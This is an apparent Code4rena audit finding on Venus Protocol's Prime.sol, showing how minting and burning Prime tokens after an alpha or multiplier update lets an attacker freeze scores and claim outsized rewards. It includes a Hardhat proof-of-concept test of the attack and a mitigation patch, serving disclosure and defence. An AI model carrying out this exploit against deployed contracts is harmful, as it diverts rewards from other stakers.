Lines of code
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L704-L756&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L623-L639&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L827-L833&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L200-L219&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301&gt;

Vulnerability details

Note

All functions/properties referred to are in the Prime.sol contract.

Impact

A malicious user can accrue outsized rewards at the expense of other users after updateAlpha() or updateMultipliers() is called.

Proof of Concept

An attacker can prevent their score from being updated and decreased after the protocol’s alpha or multipliers change. This is done by manipulatively decreasing the value of pendingScoreUpdates, then ensuring that only other user scores are updated until pendingScoreUpdates reaches zero, at which point calls to updateScores() will revert with the error NoScoreUpdatesRequired(). This can be done via the attacker calling updateScores() to update other users’ scores first and/or DoSing calls to updateScores() that would update the attacker’s score (see the issue titled “DoS and gas griefing of Prime.updateScores()”).

The core of this vulnerability is the attacker’s ability to manipulate pendingScoreUpdates. Notice below that claim(), which is called to mint a user’s Prime token, doesn’t change the value of pendingScoreUpdates:

    function claim() external { 
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }
    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) {
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();

        emit Mint(user, isIrrevocable);
    }
    function _initializeMarkets(address account) internal {
        address[] storage _allMarkets = allMarkets;
        for (uint256 i = 0; i < _allMarkets.length; ) {
            address market = _allMarkets[i];
            accrueInterest(market);

            interests[market][account].rewardIndex = markets[market].rewardIndex;
            uint256 score = _calculateScore(market, account);
            interests[market][account].score = score;
            markets[market].sumOfMembersScore = markets[market].sumOfMembersScore + score;

            unchecked {
                i++;
            }
        }
    }

However, burning a token decrements pendingScoreUpdates. (Burning a token is done by withdrawing XVS from XVSVault.sol so that the resulting amount staked is below the minimum amount required to possess a Prime token.) Notice below:

    function _burn(address user) internal {
        ...
        _updateRoundAfterTokenBurned(user);

        emit Burn(user);
    }
    function _updateRoundAfterTokenBurned(address user) internal { 
        if (totalScoreUpdatesRequired > 0) totalScoreUpdatesRequired--;

        if (pendingScoreUpdates > 0 && !isScoreUpdated[nextScoreUpdateRoundId][user]) {
            pendingScoreUpdates--;
        }
    }

To inappropriately decrement the value of pendingScoreUpdates, the attacker can backrun the transaction updating the alpha/multiplier, minting and burning a Prime token (this requires the attacker to have staked the minimum amount of XVS 90 days in advance). If the number of Prime tokens minted is often at the max number of Prime tokens minted, the attacker could burn an existing token and then mint and burn a new one. Since the value of !isScoreUpdated[nextScoreUpdateRoundId][user] is default false, pendingScoreUpdates will be inappropriately decremented if the burned token was minted after the call to updateMultipliers()/updateAlpha().

As aforementioned, the attacker can ensure that only other users’ scores are updated until pendingScoreUpdates reaches zero, at which point further calls to updateScores will revert with the custom error NoScoreUpdatesRequired().

Relevant code from updateScores() for reference:

    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired(); 
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            ...
            pendingScoreUpdates--;
            isScoreUpdated[nextScoreUpdateRoundId][user] = true;

            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }

As seen, the attacker’s score can avoid being updated. This is signficant if a change in multiplier or alpha would decrease the attacker’s score. Because rewards are distributed according to the user’s score divided by the total score, the attacker can ‘freeze’ their score at a higher than appropriate value and accrue increased rewards at the cost of the other users in the market.

The attacker can also prevent score updates for other users. The attacker can ‘freeze’ a user’s score that would otherwise increase after the alpha/multiplier changes, resulting in even greater rewards accrued for the attacker and denied from other users. This is because it is possible to decrease the value of pendingScoreUpdates by more than one if the attacker mints and burns more than one token after the alpha/multiplier is updated.

Math to support that a larger score results in greater reward accrual

Let $a$ represent the attacker’s score if it is properly updated after a change in alpha/multiplier, $b$ represent the properly updated total score, and $c$ represent the difference between the attacker’s larger unupdated score and the attacker’s smaller updated score. Clearly $a$, $b$, and $c$ are positive with $a &lt; b$. Consider the following inequality, which holds true since $a&lt;b$ :

$\frac{a+c}{b+c} &gt; \frac{a}{b} \iff a+c &gt; \frac{a(b+c)}{b} \iff a+c &gt; a+\frac{ac}{b}$

Test

Paste and run the below test in the ‘mint and burn’ scenario in Prime.ts (line 302)

    it("prevent_Update", async () => { //test to show attacker can arbitrarily prevent multiple users from being updated by updateScores()
      //setup 3 users
      await prime.issue(false, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //attacker sets up addresses to mint/burn and manipulate pendingScoreUpdates
      const [,,,,user4,user5] = await ethers.getSigners();
      await xvs.transfer(user4.address, bigNumber18.mul(1000000));
      await xvs.transfer(user5.address, bigNumber18.mul(1000000));
      await xvs.connect(user4).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user4).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user5).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user5).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await mine(90 * 24 * 60 * 60);
      //change alpha, pendingScoreUpdates changed to 3
      await prime.updateAlpha(1, 5);
      //attacker backruns alpha update with minting and burning tokens, decreasing pendingScoreUpdates by 2
      await prime.connect(user4).claim();
      await xvsVault.connect(user4).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      await prime.connect(user5).claim();
      await xvsVault.connect(user5).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      //attacker updates user 3, decreasing pendingScoreUpdates by 1
      await prime.connect(user1).updateScores([user3.getAddress()])
      //users 1 and 2 won't be updated because pendingScoreUpdates is 0
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress()])).to.be.revertedWithCustomError(prime, "NoScoreUpdatesRequired");
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Check if pendingScoreUpdates is nonzero when a token is minted, and increment it if so. This removes the attacker’s ability to manipulate pendingScoreUpdates.

    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) { //@Gas
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();
+       if (pendingScoreUpdates != 0) {unchecked{++pendingScoreUpdates;}} 

        emit Mint(user, isIrrevocable);
    }

Further Considerations

The call to updateMultipliers() can be frontrun by the attacker with staking XVS and/or lending/borrowing transactions in order to increase the attacker’s score before ‘freezing’ it.

If the attacker wants to keep the inflated score, no actions that update the attacker’s score can be taken. However, the attacker can claim the outsized rewards earned at any time and as often as desired since claimInterest() does not update user scores.

If anyone has knowledge that the exploit has occurred, it is possible for any user’s score in a market to be updated with a call to accrueInterestAndUpdateScore(), which can neutralize the attack.

The required amount of XVS staked for this exploit can be reduced by 1000 if this exploit is combined with the exploit titled “Irrevocable token holders can instantly mint a revocable token after burning and bypass the minimum XVS stake for revocable tokens”.

Assessed type

Other

---

The text was updated successfully, but these errors were encountered:

All reactions